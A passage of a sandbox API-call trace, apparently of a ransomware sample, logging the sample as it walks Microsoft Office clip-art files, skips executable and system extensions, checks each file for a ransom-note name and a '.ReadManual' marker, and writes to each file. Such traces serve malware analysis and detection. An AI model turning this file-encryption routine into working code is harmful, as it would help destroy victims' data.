lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.ReadManual.5A595725" [0273.368] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.ReadManual.5A595725") returned 87 [0273.368] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39403677268) returned 1 [0273.368] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp")) returned 0x20 [0273.368] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.369] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.369] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.369] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.369] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.369] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.371] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.371] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.372] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.372] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39404064193) returned 1 [0273.372] CloseHandle (hObject=0x184) returned 1 [0273.372] SetSecurityInfo () returned 0x57 [0273.372] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.372] CloseHandle (hObject=0x194) returned 1 [0273.372] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0273.372] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02069J.JPG" | out: lpString1="PH02069J.JPG") returned="PH02069J.JPG" [0273.372] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.372] StrStrIW (lpFirst="PH02069J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.372] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.372] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.372] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.372] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.372] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.372] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.372] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.372] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.373] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.373] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.373] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.373] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.373] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.373] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.373] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" [0273.373] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.ReadManual.5A595725" [0273.373] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.ReadManual.5A595725") returned 87 [0273.373] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39404156080) returned 1 [0273.373] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg")) returned 0x20 [0273.373] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.373] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29335) returned 1 [0273.373] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7297, lpName=0x0) returned 0x184 [0273.374] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.374] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.374] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.376] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.376] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7297) returned 0x2f0000 [0273.377] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.377] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39404551103) returned 1 [0273.377] CloseHandle (hObject=0x184) returned 1 [0273.377] SetSecurityInfo () returned 0x57 [0273.377] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.377] CloseHandle (hObject=0x194) returned 1 [0273.377] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0273.377] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02071U.BMP" | out: lpString1="PH02071U.BMP") returned="PH02071U.BMP" [0273.377] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.377] StrStrIW (lpFirst="PH02071U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.377] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.377] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.377] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.378] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.378] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" [0273.378] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.ReadManual.5A595725" [0273.378] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.ReadManual.5A595725") returned 87 [0273.378] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39404641234) returned 1 [0273.378] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp")) returned 0x20 [0273.378] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.378] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.378] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.378] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.379] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.379] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.381] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.381] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.381] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39405037819) returned 1 [0273.382] CloseHandle (hObject=0x184) returned 1 [0273.382] SetSecurityInfo () returned 0x57 [0273.382] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.382] CloseHandle (hObject=0x194) returned 1 [0273.382] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0273.382] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02074U.BMP" | out: lpString1="PH02074U.BMP") returned="PH02074U.BMP" [0273.382] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.382] StrStrIW (lpFirst="PH02074U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.382] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.382] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.382] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.382] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" [0273.382] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.ReadManual.5A595725" [0273.382] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.ReadManual.5A595725") returned 87 [0273.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39405126347) returned 1 [0273.383] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp")) returned 0x20 [0273.383] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.384] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.384] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.384] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.386] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.388] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.388] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.388] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.388] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39405719461) returned 1 [0273.388] CloseHandle (hObject=0x184) returned 1 [0273.389] SetSecurityInfo () returned 0x57 [0273.389] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.389] CloseHandle (hObject=0x194) returned 1 [0273.389] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0273.389] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02208U.BMP" | out: lpString1="PH02208U.BMP") returned="PH02208U.BMP" [0273.389] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.389] StrStrIW (lpFirst="PH02208U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.389] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.389] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.389] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.389] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" [0273.389] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.ReadManual.5A595725" [0273.389] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.ReadManual.5A595725") returned 87 [0273.389] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39405810764) returned 1 [0273.389] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp")) returned 0x20 [0273.390] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.390] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.391] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.391] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.391] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.391] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.393] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.393] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.393] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.394] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39406244224) returned 1 [0273.394] CloseHandle (hObject=0x184) returned 1 [0273.394] SetSecurityInfo () returned 0x57 [0273.394] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.394] CloseHandle (hObject=0x194) returned 1 [0273.394] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0273.394] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02223U.BMP" | out: lpString1="PH02223U.BMP") returned="PH02223U.BMP" [0273.394] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.394] StrStrIW (lpFirst="PH02223U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.394] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.394] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.394] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.394] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" [0273.394] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.ReadManual.5A595725" [0273.395] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.ReadManual.5A595725") returned 87 [0273.395] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39406333286) returned 1 [0273.395] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp")) returned 0x20 [0273.395] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.395] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.395] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.395] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 